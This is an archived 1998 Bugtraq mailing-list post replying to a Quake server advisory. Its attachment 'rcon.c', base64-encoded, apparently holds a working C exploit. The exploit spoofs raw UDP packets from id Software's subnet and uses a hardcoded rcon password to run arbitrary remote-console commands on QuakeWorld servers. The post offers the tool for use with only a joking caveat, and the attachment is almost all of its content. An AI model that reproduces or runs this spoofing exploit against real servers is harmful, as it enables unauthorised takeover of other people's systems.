Home page logo
/

bugtraq logo Bugtraq mailing list archives

Re: RSI.0001.05-01-98.ALL.QUAKE_SERVER
From: ntoomey () chesapeake net (Nick)
Date: Fri, 1 May 1998 20:03:45 -0400


This is a multi-part message in MIME format.

------=_NextPart_000_0017_01BD753C.3F8AF200
Content-Type: text/plain;
        charset="US-ASCII"
Content-Transfer-Encoding: 7bit

in response to the earlier email, my friend wrote a program to implement the
bug.  Please use it only for constructive purposes :)


Nick
ntoomey () chesapeake net


------=_NextPart_000_0017_01BD753C.3F8AF200
Content-Type: application/octet-stream;
        name="rcon.c"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
        filename="rcon.c"

LyogcmNvbi5jCiAgUXVha2UgIHdvcmxkIHJjb25fcGFzc3dvcmQgYnVnIGltcGxpbWVudGF0aW9u
IGJ5IEplZmYgUm9iZXJzb24sIDxqcm9iZXJzb25AY2hlc2FwZWFrZS5uZXQ+IChWYWxsYUgpCiAg
TGludXggMi4wLjMzIHNvdXJjZSwgd2lsbCBjb21waWxlIG9uIEJTRCBpZiB5b3UgbW9kaWZ5IHRo
ZSBpcCBoZWFkZXIgZXRjLgogIFBsZWFzZSBub3RlIHRoYXQgSSBkaWQgbm90IGRpc2NvdmVyIHRo
aXMsIEkgc2ltcGx5IHdyb3RlIHRoZSBjb2RlLgogIFRoYW5rcyB0byBOaWNrIFRvb21leSwgPG50
b29tZXlAY2hlc2FwZWFrZS5uZXQ+IChHcmlmdGVyKQoKICBCcmllZiBzdW1tYXJ5OgogICAgICBB
bnkgcmNvbiBjb21tYW5kIGNvbWluZyBmcm9tIHRoZSBpZHNvZnR3YXJlIHN1Ym5ldCAxOTIuMjQ2
LjQwIHdpdGggdGhlIHJjb24gcGFzc3dvcmQgb2YgdG1zIHdpbGwgYmUgYWNjZXB0ZWQgb24gYW55
IHNlcnZlci4gIFRoaXMgcHJvZ3JhbSBzaW1wbHkgc3Bvb2ZzIGEgcGFja2V0IGZyb20gdmFkZXIu
aWRzb2Z0d2FyZS5jb20gK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Ry
PXJlc29sdmVfYWRkcmVzcyhhcmd2WzFdKTsKCgl1ZHAtPnNvdXJjZT1odG9ucygxMjM0KTsKCXVk
cC0+ZGVzdD1odG9ucyhwb3J0KTsKCXVkcC0+bGVuPWh0b25zKHNpemVvZihidWYpIC0gMjApOwoK
CWRzdC5zaW5fZmFtaWx5PVBGX0lORVQ7Cglkc3Quc2luX2FkZHIuc19hZGRyPWlwaC0+ZGFkZHI7
Cglkc3Quc2luX3BvcnQ9aHRvbnMoMjc1MDApOwoKCXNwcmludGYoKGJ1ZiArIDI4KSwgIiVzJXNc
biIsIGNvbW1hbmQsIGFyZ3ZbMl0pOyAKCglpZiAoKHM9c29ja2V0KFBGX0lORVQsIFNPQ0tfUkFX
LCBJUFBST1RPX1JBVykpIDwgMCkgewoJCXBlcnJvcigic29ja2V0Iik7CgkJZXhpdCgtMSk7Cgl9
CgoJaWYgKChzZW5kdG8ocywgYnVmLCBzaXplb2YoYnVmKSwgMCwgKHN0cnVjdCBzb2NrYWRkciAq
KSZkc3QsIHNpemVvZihkc3QpKSkgPD0wKSB7CgkJcGVycm9yKCJzZW5kdG8iKTsKCQlleGl0KC0x
KTsKCX0KCWV4aXQoMSk7Cn0K

------=_NextPart_000_0017_01BD753C.3F8AF200--



  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault